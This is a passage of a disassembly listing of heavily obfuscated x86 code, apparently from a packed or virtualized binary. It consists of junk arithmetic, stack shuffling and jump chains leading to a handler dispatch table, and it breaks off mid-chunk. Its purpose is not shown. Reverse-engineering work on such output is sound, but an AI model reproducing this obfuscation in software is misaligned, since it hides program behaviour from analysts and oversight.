		xor	edi, [esp]
		pop	esp
		mov	[esp], eax
		sub	esp, 4
		mov	[esp], esi
		push	4F7B3373h
		jmp	loc_58BC48
; ---------------------------------------------------------------------------


loc_5958F4:				; CODE XREF: sdfs____:0058E8C2j
		pop	ebp
		push	esi
		mov	esi, esp
		add	esi, 4
		add	esi, 4
		xchg	esi, [esp]
		jmp	loc_59862C
; ---------------------------------------------------------------------------


loc_595909:				; CODE XREF: sdfs____:0058BAD2j
		add	dword ptr [esp+4], 40B562EDh
		jmp	loc_595550
; ---------------------------------------------------------------------------


loc_595916:				; CODE XREF: sdfs____:0059756Cj
		add	ebx, edx
		add	ebx, 4C006E18h
		sub	ebx, 56CC3297h
		pop	edx
		push	ecx
		mov	ecx, 73BE59CFh
		sub	ecx, 73BE59CBh
		add	ebx, ecx
		jmp	loc_58E1CB
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5BB696


loc_595938:				; CODE XREF: sub_5BB696-26C95j
		xchg	edi, edx
		sub	edx, 86127C86h
		add	edi, 5F7463CDh
		jmp	loc_58D0C8
; END OF FUNCTION CHUNK	FOR sub_5BB696
; ---------------------------------------------------------------------------


loc_59594B:				; CODE XREF: sdfs____:0058CB53j
		mov	[esp], edx
		jmp	loc_5951F6
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_591370


loc_595953:				; CODE XREF: sub_591370+2F1Bj
		mov	edx, [esp-14h+arg_10]
		add	esp, 4
		push	esi
		jmp	loc_591F68
; END OF FUNCTION CHUNK	FOR sub_591370
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5985AE


loc_59595F:				; CODE XREF: sub_5985AE-B1B4j
		mov	esi, [esp-4+arg_0]
		add	esp, 4
		pop	eax
		sub	eax, 33D01293h
		push	eax
		jmp	loc_58FCF4
; END OF FUNCTION CHUNK	FOR sub_5985AE
; ---------------------------------------------------------------------------


loc_595974:				; CODE XREF: sdfs____:00592EA3j
		xor	ecx, [esp]
		xor	[esp], ecx
		jmp	loc_58FC61
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_59587A


loc_59597F:				; CODE XREF: sub_59587A-2E93j
		add	ecx, edx
		mov	[ecx], al
		pop	ecx
		jmp	loc_58B9C5
; END OF FUNCTION CHUNK	FOR sub_59587A
; ---------------------------------------------------------------------------


loc_595989:				; CODE XREF: sdfs____:00595B7Dj
		pop	ebx
		add	al, dl
		mov	edx, [esp]
		push	edx
		mov	edx, esp
		add	edx, 4
		jmp	loc_58D566
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5941BD


loc_59599D:				; CODE XREF: sub_5941BD:loc_59641Bj
		jmp	loc_593FDC
; END OF FUNCTION CHUNK	FOR sub_5941BD
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_591AD9


loc_5959A2:				; CODE XREF: sub_591AD9-451Dj
		push	esi
		pop	eax
		pop	esi
		xchg	eax, [esp+0]
		mov	eax, [esp+0]
		jmp	sub_58BC4E
; END OF FUNCTION CHUNK	FOR sub_591AD9
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_58EB23


loc_5959B0:				; CODE XREF: sub_58EB23+3616j
		xor	ch, 63h
		xor	ch, 0B0h
		jge	loc_58E950
		shl	ch, 8
		add	ch, 0E8h
		mov	dl, ch
		pop	ecx
		add	dl, 0A4h
; END OF FUNCTION CHUNK	FOR sub_58EB23
; START	OF FUNCTION CHUNK FOR sub_591435


loc_5959C8:				; CODE XREF: sub_591435+7DCj
					; sdfs____:00594C98j
		xchg	edx, ebp
		jmp	loc_597F1E
; END OF FUNCTION CHUNK	FOR sub_591435
; ---------------------------------------------------------------------------


loc_5959CF:				; CODE XREF: sdfs____:00598D1Bj
		jmp	loc_5903C8
; ---------------------------------------------------------------------------


loc_5959D4:				; CODE XREF: sdfs____:0058CAC1j
		add	eax, 4
		push	8E0h
		mov	[esp], eax
		push	dword ptr [esp+4]
		pop	eax
		pop	dword ptr [esp]
		pop	esp
		jmp	loc_592490
; ---------------------------------------------------------------------------


loc_5959ED:				; CODE XREF: sdfs____:0058EB5Cj
		sub	eax, 5ABE0542h
		shl	eax, 3
		push	edx
		jmp	loc_5921CA
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_594228


loc_5959FB:				; CODE XREF: sub_594228+994j
		push	0FFFFh
		pop	edi
		and	eax, edi
		mov	edi, [esp+1Ah+var_1C+2]
		sub	esp, 4
		jmp	loc_58DFAA
; END OF FUNCTION CHUNK	FOR sub_594228
; ---------------------------------------------------------------------------


loc_595A0E:				; CODE XREF: sdfs____:00594988j
		mov	cl, dh
		pop	edx
		pop	eax
		push	199Ch
		mov	[esp], ebx
		mov	bl, cl
		push	ecx
		mov	cl, bl
		mov	[edi+eax*4+1], cl
		mov	ecx, [esp]
		add	esp, 4
		pop	ebx
		jmp	loc_594173
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_58BC4E


loc_595A2F:				; CODE XREF: sub_58BC4E+6656j
		mov	[esp+8+var_8], ebp
		jmp	loc_59510C
; END OF FUNCTION CHUNK	FOR sub_58BC4E
; ---------------------------------------------------------------------------


loc_595A37:				; CODE XREF: sdfs____:00598127j
		mov	al, bh
		mov	dh, al
		pop	eax
		mov	cl, dh
		mov	edx, [esp]
		add	esp, 4
		jmp	loc_58E0CD
; ---------------------------------------------------------------------------


loc_595A4C:				; CODE XREF: sdfs____:0058D819j
		push	ebx
		mov	ebx, 270446E1h
		jmp	loc_58BEAE
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_594228


loc_595A57:				; CODE XREF: sub_594228-636Fj
		xor	ecx, 3048647Fh
		add	ecx, 79B912CCh
		not	ecx
		jmp	loc_591CBD
; ---------------------------------------------------------------------------


loc_595A6A:				; CODE XREF: sub_594228+1037j
					; sub_594228+1D30j
		pop	eax
		xor	eax, 675D6CB9h
		jmp	loc_594B91
; END OF FUNCTION CHUNK	FOR sub_594228
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5917C0


loc_595A75:				; CODE XREF: sub_5917C0-F1Aj
		mov	edi, 0
		sub	edi, esi
		mov	esi, edi
		jmp	loc_58C963
; END OF FUNCTION CHUNK	FOR sub_5917C0
; ---------------------------------------------------------------------------


loc_595A83:				; CODE XREF: sdfs____:00593F4Dj
		add	edi, esi
		add	edi, 19D174F3h
		mov	esi, [esp]
		add	esp, 4
		add	edi, 2
		push	633Ch
		mov	[esp], edi
		push	dword ptr [esp+4]
		mov	edi, [esp]
		jmp	loc_58F9F7
; ---------------------------------------------------------------------------


loc_595AA8:				; CODE XREF: sdfs____:00595F15j
		xor	edi, 0A437CB9Bh
		mov	ecx, edi
		pop	edi
		mov	ebp, 0AE8DECAFh
		add	ebp, ecx
		pop	ecx
		sub	ebp, 0E162191h
		jmp	loc_59221B
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_591AD9


loc_595AC4:				; CODE XREF: sub_591AD9+1433j
		xchg	ebx, [esp-8+arg_4]
		mov	esp, [esp-8+arg_4]
		mov	[esp-8+arg_4], eax
		push	eax
		push	[esp-4+arg_4]
		mov	eax, [esp+0]
		add	esp, 4
		pop	[esp-4+arg_0]
		xor	eax, esi
		jmp	loc_594D71
; END OF FUNCTION CHUNK	FOR sub_591AD9
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_591435


loc_595AE2:				; CODE XREF: sub_591435-1CD2j
		shr	ecx, 2
		jmp	sub_591370
; END OF FUNCTION CHUNK	FOR sub_591435
; ---------------------------------------------------------------------------


loc_595AEA:				; CODE XREF: sdfs____:00598B31j
		mov	ebx, 0D3B2E312h
		add	ebx, edx
		pop	edx
		dec	ebx
		neg	ebx
		sub	esp, 4
		mov	[esp], ebp
		jmp	loc_596A66
; ---------------------------------------------------------------------------


loc_595B03:				; CODE XREF: sdfs____:005985C3j
		pop	esi
		push	ecx
		push	dword ptr [esp+4]
		jmp	loc_597BC8
; ---------------------------------------------------------------------------


loc_595B0E:				; CODE XREF: sdfs____:00593458j
		push	ebp
		mov	ebp, 4
		jmp	loc_593E1B
; ---------------------------------------------------------------------------


loc_595B19:				; CODE XREF: sdfs____:0058EC02j
		xchg	eax, [esp]
		pop	esp
		sar	word ptr [esp],	cl
		pushf
		jmp	loc_58B9C5
; ---------------------------------------------------------------------------
		mov	ax, [esp]
		jmp	loc_597717
; ---------------------------------------------------------------------------


loc_595B30:				; CODE XREF: sdfs____:00590F88j
		mov	dl, ch
		jmp	loc_58CADA
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_58EC13


loc_595B37:				; CODE XREF: sub_58EC13-184Bj
		push	esp
		jmp	loc_594206
; END OF FUNCTION CHUNK	FOR sub_58EC13
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_58CDE6


loc_595B3D:				; CODE XREF: sub_58CDE6+BE92j
		mov	[esp-4+arg_0], ebx
		sub	esp, 4
		mov	[esp+0], edx
		mov	edx, 13516D69h
		mov	ebx, 3753117Dh
		jmp	loc_593E59
; END OF FUNCTION CHUNK	FOR sub_58CDE6
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_594228


loc_595B55:				; CODE XREF: sub_594228+4732j
		sub	eax, esi
		push	esi
		mov	esi, 3DCF489Dh
		or	esi, 71292BE1h
		jmp	loc_58D555
; END OF FUNCTION CHUNK	FOR sub_594228
; ---------------------------------------------------------------------------


loc_595B68:				; CODE XREF: sdfs____:00594C72j
		add	edx, 4
		add	edx, 2
		jmp	loc_58E0DB
; ---------------------------------------------------------------------------


loc_595B76:				; CODE XREF: sdfs____:0058D699j
		xor	al, 0D8h
		add	bh, al
		pop	eax
		add	dl, bh
		jmp	loc_595989
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_591435


loc_595B82:				; CODE XREF: sub_591435+306Bj
		xor	[esp+10h+var_10], edi
		xor	edi, [esp+10h+var_10]
		mov	esp, [esp+10h+var_10]
		jmp	loc_598664
; END OF FUNCTION CHUNK	FOR sub_591435
; ---------------------------------------------------------------------------


loc_595B90:				; CODE XREF: sdfs____:00592364j
		add	ebx, 4
		xor	ebx, [esp]
		xor	[esp], ebx
		jmp	loc_5909C0
; ---------------------------------------------------------------------------


loc_595BA1:				; CODE XREF: sdfs____:0058C5C0j
		push	eax
		mov	eax, 772A3B12h
		add	ebx, 14E622D4h
		add	ebx, eax
		sub	ebx, 14E622D4h
		push	dword ptr [esp]
		push	dword ptr [esp]
		pop	eax
		jmp	loc_590AC9
; ---------------------------------------------------------------------------


loc_595BC1:				; CODE XREF: sdfs____:00592560j
		mov	ebp, 64994A2Fh
		mov	edx, 66696B43h
		sub	edx, ebp
		jmp	loc_58B9FB
; ---------------------------------------------------------------------------


loc_595BD2:				; CODE XREF: sdfs____:005955F5j
		add	[esp+4], ebp
		pop	ebp
		push	dword ptr [esp]
		mov	esi, [esp]
		add	esp, 4
		push	edx
		mov	edx, esp
		add	edx, 4
		jmp	loc_593E6A
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_591370


loc_595BEE:				; CODE XREF: sdfs____:0058C0DDj
					; sub_591370+24B4j
		mov	esi, 18C4421Bh
		add	edi, esi
		jmp	loc_58CDAE
; END OF FUNCTION CHUNK	FOR sub_591370
; ---------------------------------------------------------------------------


loc_595BFA:				; CODE XREF: sdfs____:005970B4j
		add	eax, esi
		jmp	loc_58BD7B
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5985AE


loc_595C01:				; CODE XREF: sub_5985AE-5E89j
		add	eax, 3B2407CCh
		sub	eax, 2E213A67h
		add	eax, 70DA14E8h
		pop	ebx
		jmp	loc_593E2B
; END OF FUNCTION CHUNK	FOR sub_5985AE
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_594228


loc_595C16:				; CODE XREF: sub_594228-1154j
		pop	esi
		mov	esi, [esp+2+var_4+2]
		jmp	loc_58BECF
; END OF FUNCTION CHUNK	FOR sub_594228
; ---------------------------------------------------------------------------
		mov	cx, [esp]
		push	edx
		mov	edx, esp
		add	edx, 4
		sub	edx, 4
		jmp	loc_5927EA
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_594228


loc_595C37:				; CODE XREF: sub_594228+1F91j
		xor	[esp+4], ecx
		pop	ecx
		pop	eax
		push	ebx
		push	ebp
		push	30A16799h
		pop	ebp
		jmp	loc_58D452
; END OF FUNCTION CHUNK	FOR sub_594228
; ---------------------------------------------------------------------------


loc_595C4A:				; CODE XREF: sdfs____:00594A2Fj
		sub	edi, edx
		pop	edx
		xchg	edi, [esp]
		jmp	loc_5924F4
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_59214E


loc_595C55:				; CODE XREF: sub_59214E-5E24j
		jmp	loc_58D375
; END OF FUNCTION CHUNK	FOR sub_59214E
; ---------------------------------------------------------------------------


loc_595C5A:				; CODE XREF: sdfs____:00593F7Dj
		mov	edi, [esp]
		add	esp, 4
		jmp	loc_5963A1
; ---------------------------------------------------------------------------


loc_595C68:				; CODE XREF: sdfs____:00590769j
		push	edx
		mov	edx, 4
		sub	edi, 487B753Dh
		jmp	loc_591153
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5962EB


loc_595C79:				; CODE XREF: sub_5962EB-967Cj
		xor	ecx, [esp-8+arg_4]
		jmp	loc_591C16
; END OF FUNCTION CHUNK	FOR sub_5962EB
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_591435


loc_595C81:				; CODE XREF: sub_591435+43D0j
		mov	ebx, 65B7601Eh
		add	ebx, 0B85BE5ACh
		add	ebp, ebx
		pop	ebx
		add	ebp, ebx
		push	1F86h
		mov	[esp+14h+var_14], edx
		mov	edx, 1E1345CAh
		sub	ebp, edx
		pop	edx
		mov	ebx, [esp+10h+var_10]
		jmp	loc_58D500
; END OF FUNCTION CHUNK	FOR sub_591435
; ---------------------------------------------------------------------------


loc_595CA9:				; CODE XREF: sdfs____:0058E07Fj
		mov	esp, [esp]
		jmp	loc_592117
; ---------------------------------------------------------------------------


loc_595CB1:				; CODE XREF: sdfs____:loc_5903B4j
		and	esi, 13866692h
		jmp	loc_594241
; ---------------------------------------------------------------------------


loc_595CBC:				; CODE XREF: sdfs____:00592AB2j
		mov	cx, [esp]
		add	esp, 2
		push	ax
		jmp	loc_59602B
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5962EB


loc_595CCA:				; CODE XREF: sub_5962EB-7D71j
		shr	eax, 8
		xor	eax, ecx
		xchg	eax, ebx
		push	ebx
		xor	[esp-8+arg_4], ecx
		xor	ecx, [esp-8+arg_4]
		xor	[esp-8+arg_4], ecx
		jmp	loc_591ECC
; END OF FUNCTION CHUNK	FOR sub_5962EB
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_58BC4E


loc_595CDF:				; CODE XREF: sub_58BC4E+6925j
		mov	ebp, 56704E7Ch
		mov	ebx, ebp
		pop	ebp
		add	eax, ebx
		pop	ebx
		jmp	loc_59229F
; END OF FUNCTION CHUNK	FOR sub_58BC4E
; ---------------------------------------------------------------------------


loc_595CEF:				; CODE XREF: sdfs____:0059222Dj
		sub	esp, 4
		mov	[esp], eax
		jmp	loc_5971AC
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_594228


loc_595CFD:				; CODE XREF: sub_594228-3AD2j
					; sub_594228-2318j
		pop	ebp
		not	edx
		add	edx, 617D39FAh
		sub	edx, 7C43B1D1h
		xor	esi, edx
		pop	edx
		sub	esp, 4
		mov	[esp+22h+var_24+2], ebp
		mov	ebp, esi
		mov	ebx, ebp
		push	[esp+22h+var_24+2]
		pop	ebp
		add	esp, 4
		jmp	loc_593FD4
; END OF FUNCTION CHUNK	FOR sub_594228
; ---------------------------------------------------------------------------


loc_595D28:				; CODE XREF: sdfs____:00593FBDj
		sub	esp, 4
		mov	[esp], esi
		push	esp
		pop	esi
		push	eax
		mov	eax, 745A3A2Ch
		jmp	loc_5974E7
; ---------------------------------------------------------------------------


loc_595D3E:				; CODE XREF: sdfs____:00596FBFj
		push	esp
		pop	esi
		add	esi, 4
		jmp	loc_58F715
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_595678


loc_595D4B:				; CODE XREF: sub_595678-8A50j
		add	ecx, 0C0361A5Eh
		add	esi, ecx
		pop	ecx
		sub	esi, 4
		xchg	esi, [esp+8+var_8]
		pop	esp
		mov	[esp+4+var_4], ebp
		push	3B8Bh
		mov	[esp+8+var_8], eax
		jmp	loc_597251
; END OF FUNCTION CHUNK	FOR sub_595678
; ---------------------------------------------------------------------------


loc_595D6E:				; CODE XREF: sdfs____:0058FB25j
		mov	dh, 16h
		jmp	loc_597A18
; ---------------------------------------------------------------------------


loc_595D75:				; CODE XREF: sdfs____:00595E8Fj
		pop	ecx
		add	esp, 4
		jmp	loc_590406
; ---------------------------------------------------------------------------
		mov	ax, [esp]
		sub	esp, 4
		mov	[esp], eax
		sub	esp, 4
		push	4F7Bh
		mov	[esp], esp
		add	dword ptr [esp], 4
		pop	dword ptr [esp]
		push	esi
		mov	esi, 4
		jmp	loc_58E684
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_591435


loc_595DAB:				; CODE XREF: sub_591435-558Cj
		sub	al, ch
		pop	ecx
		sub	esp, 4
		mov	[esp+14h+var_14], ecx
		mov	ch, 70h
		not	ch
		push	eax
		mov	ah, 3Dh
		neg	ah
		shr	ah, 4
		sub	ah, 0A4h
		jmp	loc_592C8F
; END OF FUNCTION CHUNK	FOR sub_591435
; ---------------------------------------------------------------------------
		mov	cx, [esp]
		push	ebp
		mov	ebp, esp
		add	ebp, 4
		push	edx
		push	eax
		jmp	loc_58E114
; ---------------------------------------------------------------------------


loc_595DDF:				; CODE XREF: sdfs____:0058C840j
		add	ecx, ebp
		pop	ebp
		xchg	esi, ecx
		dec	esi
		xchg	esi, ecx
		sub	ecx, 0D1504D54h
		add	esi, ecx
		mov	ecx, [esp]
		add	esp, 4
		add	esi, 4
		xor	esi, [esp]
		xor	[esp], esi
		jmp	loc_591076
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_591370


loc_595E06:				; CODE XREF: sub_591370:loc_59007Ej
		sub	eax, 1119E9F6h
		jmp	loc_598B17
; END OF FUNCTION CHUNK	FOR sub_591370
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5962EB


loc_595E10:				; CODE XREF: sub_5962EB-3A86j
		sub	eax, 0CD54FA96h
		jmp	loc_5949D9
; END OF FUNCTION CHUNK	FOR sub_5962EB
; ---------------------------------------------------------------------------


loc_595E1A:				; CODE XREF: sdfs____:0058EA4Dj
		mov	[esp], ebx
		push	esp
		pop	ebx
		push	ebp
		mov	ebp, 6B2C5042h
		jmp	loc_595FBC
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_58EB23


loc_595E2A:				; CODE XREF: sub_58EB23+8291j
		mov	ecx, 2
		add	esi, ecx
		pop	ecx
		xchg	esi, [esp-14h+arg_C]
		pop	esp
		movzx	eax, al
		jmp	dword ptr [edi+eax*4]
; END OF FUNCTION CHUNK	FOR sub_58EB23
; ---------------------------------------------------------------------------
		jmp	loc_597753
; ---------------------------------------------------------------------------


loc_595E41:				; CODE XREF: sdfs____:loc_5923B0j
		shr	ebp, 8
		js	loc_592302
		jmp	loc_58BE60
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_594228


loc_595E4F:				; CODE XREF: sub_594228-8784j
		push	dword ptr [esp+4]
		jmp	loc_591F1D
; END OF FUNCTION CHUNK	FOR sub_594228
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_591435


loc_595E58:				; CODE XREF: sub_591435+2B2Aj
		mov	ebp, 335D2253h
		push	ebx
		jmp	loc_591CFE
; END OF FUNCTION CHUNK	FOR sub_591435
; ---------------------------------------------------------------------------


loc_595E63:				; CODE XREF: sdfs____:loc_58FF51j
		add	ecx, 41FD13C6h
		jnp	loc_58FE47
		push	edi
		mov	edi, 478BE880h
		jmp	loc_58F749
; ---------------------------------------------------------------------------
		mov	cx, [esp]
		push	esi
		push	esp
		mov	esi, [esp]
		push	edx
		jmp	loc_598732
; ---------------------------------------------------------------------------
		push	dword ptr [esp]
		push	dword ptr [esp]
		jmp	loc_595D75
; ---------------------------------------------------------------------------


loc_595E94:				; CODE XREF: sdfs____:0058F6EBj
		xor	ecx, [esp]
		jmp	loc_5902A7
; ---------------------------------------------------------------------------


loc_595E9C:				; CODE XREF: sdfs____:0058C059j
		add	esi, ecx
		jmp	loc_58E075
; ---------------------------------------------------------------------------


loc_595EA3:				; CODE XREF: sdfs____:0058C890j
		pop	esi
		jmp	loc_596831
; ---------------------------------------------------------------------------


loc_595EA9:				; CODE XREF: sdfs____:0058C992j
		jmp	loc_58B9C5
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_591435


loc_595EAE:				; CODE XREF: sub_591435-1584j
		pop	ebx
		sub	bl, al
		pop	eax
		push	ecx
		mov	cl, 1Dh
		or	cl, 98h
		jmp	sub_5929B9
; END OF FUNCTION CHUNK	FOR sub_591435
; ---------------------------------------------------------------------------


loc_595EBD:				; CODE XREF: sdfs____:0058D7FCj
		mov	edi, edx
		pop	edx
		add	esi, edi
		pop	edi
		jmp	loc_590B89
; ---------------------------------------------------------------------------


loc_595EC8:				; CODE XREF: sdfs____:0058E605j
		mov	[esp], ecx
		mov	ecx, 88613CEh
		jmp	loc_58F8DC
; ---------------------------------------------------------------------------


loc_595ED5:				; CODE XREF: sdfs____:00594942j
		xor	edx, [esp]
		jmp	loc_58CED7
; ---------------------------------------------------------------------------


loc_595EDD:				; CODE XREF: sdfs____:00593032j
		mov	ebp, 0F8B9C9BEh
		xor	ebx, ebp
		pop	ebp
		push	ebp
		jmp	loc_593EE7
; ---------------------------------------------------------------------------


loc_595EEB:				; CODE XREF: sdfs____:0058D1EEj
		jmp	loc_58DD8E
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_59576E


loc_595EF0:				; CODE XREF: sub_5917C0-270Dj
					; sub_59576E-59B7j
		mov	esp, [esp-4+arg_0]
		mov	word ptr [esp-4+arg_0],	ax
		jmp	loc_58B9C5
; END OF FUNCTION CHUNK	FOR sub_59576E
; ---------------------------------------------------------------------------


loc_595EFC:				; CODE XREF: sdfs____:00591B2Cj
		xor	esi, edi
		pop	edi
		jmp	loc_5922CC

; =============== S U B	R O U T	I N E =======================================



sub_595F04	proc near		; CODE XREF: sub_591370-1C77j
		sub	esp, 4
		jmp	loc_594269
sub_595F04	endp

; ---------------------------------------------------------------------------


loc_595F0F:				; CODE XREF: sdfs____:00598025j
		or	edi, 79374B7Dh
		jmp	loc_595AA8
; ---------------------------------------------------------------------------
		push	edx
		push	0FEh
		pop	edx
		jmp	loc_594372
; ---------------------------------------------------------------------------


loc_595F26:				; CODE XREF: sdfs____:005924E7j
		pop	esi
		jmp	loc_596116
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_591370


loc_595F2C:				; CODE XREF: sub_591370-17DAj
		add	eax, ebx
		push	ebx
		mov	ebx, 64B43C8h
		add	eax, ebx
		pop	ebx
		jmp	loc_58E7D3
; END OF FUNCTION CHUNK	FOR sub_591370
; ---------------------------------------------------------------------------


loc_595F3C:				; CODE XREF: sdfs____:00593F25j
		push	4F41h
		jmp	loc_597D6B
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_594228


loc_595F46:				; CODE XREF: sub_59587A:loc_58FE94j
					; sub_594228+3923j
		xor	esi, 68850A1Dh
		jno	loc_58F77A
		xor	esi, 3E19768Ch
		jmp	loc_595A6A
; END OF FUNCTION CHUNK	FOR sub_594228
; ---------------------------------------------------------------------------
		push	dword ptr [esp]
		pop	edx


loc_595F61:				; CODE XREF: sdfs____:0058C2B6j
		inc	eax
		jmp	loc_58C579
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5917C0


loc_595F67:				; CODE XREF: sub_5917C0-470Fj
		inc	ebx
		jle	loc_58ED45
		push	edi
		mov	edi, 5A191133h
		sub	edi, 6A2F1903h


loc_595F7A:				; CODE XREF: sdfs____:0059089Cj
		not	ecx
		xor	ecx, 5BCD14CEh
		add	ecx, 1
		add	ecx, 0D2B0B476h
		sub	eax, ecx
		jmp	loc_590BD9
; END OF FUNCTION CHUNK	FOR sub_5917C0
; ---------------------------------------------------------------------------


loc_595F92:				; CODE XREF: sdfs____:0058E1ABj
		mov	ebx, 0
		jmp	loc_5908F3
; ---------------------------------------------------------------------------


loc_595F9C:				; CODE XREF: sdfs____:00596278j
		mov	al, cl
		pop	ecx
		mov	ebx, [esp]
		add	esp, 4
		push	ebx
		mov	bh, 49h
		xor	al, bh
		pop	ebx
		push	ecx
		mov	cl, 7Fh
		add	al, cl
		pop	ecx
		dec	al
		push	edx
		jmp	loc_58E7DD
; ---------------------------------------------------------------------------


loc_595FBC:				; CODE XREF: sdfs____:00595E25j
		and	ebp, 58D5356Dh
		sub	ebp, 33D41CD0h
		sub	ebp, 14C270CFh
		sub	ebp, 0FF6D829Dh
		add	ebx, ebp
		mov	ebp, [esp]
		add	esp, 4
		push	ecx
		jmp	loc_58DB45
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_591435


loc_595FE5:				; CODE XREF: sub_591435+3917j
		add	ebx, 4
		add	ebx, 4
		xchg	ebx, [esp+6+var_8+2]
		pop	esp
		sub	esp, 4
		mov	[esp+6+var_8+2], ebp
		mov	ebp, 2000h
		jmp	loc_59176A
; END OF FUNCTION CHUNK	FOR sub_591435
; ---------------------------------------------------------------------------
		mov	ax, [esp]
		push	edx
		push	esp
		pop	edx
		push	ebp
		push	esi
		push	71AC525Dh
		pop	esi
		xor	esi, 416D41E2h
		jnz	loc_590921
		push	ecx
		push	eax
		mov	eax, 30C113BBh
		mov	ecx, eax
		pop	eax
		push	eax


loc_59602B:				; CODE XREF: sdfs____:00595CC5j
		mov	al, 0B7h
		xor	bl, al
		mov	ax, [esp]
		add	esp, 2
		jmp	loc_58C9E9
; ---------------------------------------------------------------------------


loc_59603E:				; CODE XREF: sdfs____:00590B17j
		add	edx, 0F40C1F3Dh
		mov	eax, edx
		pop	edx
		xor	edx, eax
		pop	eax
		add	eax, 7B327B3Ah
		add	eax, edx
		push	edx
		jmp	loc_597D5B
; ---------------------------------------------------------------------------


loc_596057:				; CODE XREF: sdfs____:00594084j
		not	edi
		neg	edi
		add	edi, 3B1A496Ah
		jmp	loc_58E303
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_591370


loc_596066:				; CODE XREF: sub_591370-D77j
		add	ebp, ebx
		mov	ebx, [esp-18h+arg_14]
		push	eax
		mov	eax, esp
		jmp	loc_590CB2
; END OF FUNCTION CHUNK	FOR sub_591370
; ---------------------------------------------------------------------------


loc_596073:				; CODE XREF: sdfs____:00590E42j
		jmp	loc_591416
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5941BD


loc_596078:				; CODE XREF: sub_5941BD+2F67j
		mov	esi, [esp+14h+var_14]
		push	ebp
		mov	ebp, esp
		jmp	loc_59626B
; END OF FUNCTION CHUNK	FOR sub_5941BD
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_590CC3


loc_596083:				; CODE XREF: sub_590CC3-5109j
		mov	ecx, 652F2Fh
		add	ebx, ecx
		pop	ecx
		sub	esp, 4
		mov	[esp+0], ecx
		push	ebx
		push	5FDFh
		jmp	loc_58E0A6
; END OF FUNCTION CHUNK	FOR sub_590CC3
; ---------------------------------------------------------------------------


loc_59609C:				; CODE XREF: sdfs____:005905EBj
		mov	bl, 0E9h
		mov	cl, 2
		add	cl, bl
		pop	ebx
		inc	cl
		not	cl
		push	edx
		jmp	loc_58FE22
; ---------------------------------------------------------------------------


loc_5960AD:				; CODE XREF: sdfs____:00597E3Aj
		pop	edx
		jmp	loc_592109
; ---------------------------------------------------------------------------


loc_5960B3:				; CODE XREF: sdfs____:005989A1j
		dec	ecx
		push	edx
		mov	edx, 1
		add	ecx, edx
		pop	edx
		xor	ecx, 0F781908h
		push	esi
		sub	esp, 4
		mov	[esp], ebp
		push	ecx
		mov	ecx, 15084804h
		push	ecx
		sub	dword ptr [esp], 39B0291Eh
		pop	ebp
		add	ebp, 39B0291Eh
		pop	ecx
		and	ebp, 0FB06DD1h
		jg	loc_592B3C
		not	ebp
		shr	ebp, 3
		jmp	loc_58CD89
; ---------------------------------------------------------------------------
		sub	edx, ecx
		pop	ecx
		mov	dh, al


loc_5960FB:				; CODE XREF: sdfs____:00591F0Aj
		mov	eax, 610E2359h
		add	edx, eax
		pop	eax
		sub	eax, edx
		jmp	loc_594E4C
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_591435


loc_59610A:				; CODE XREF: sub_591435-321Aj
		pop	ax
		push	ecx
		mov	ch, 2Fh
		add	al, ch
		jmp	loc_58DAB7
; END OF FUNCTION CHUNK	FOR sub_591435
; ---------------------------------------------------------------------------


loc_596116:				; CODE XREF: sdfs____:00595F27j
		mov	[edi+20h], eax
		jmp	loc_596905
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_594228


loc_59611E:				; CODE XREF: sub_594228-72F7j
					; sub_591435+64F3j
		mov	ch, bh
		mov	[edi+eax*4], ch
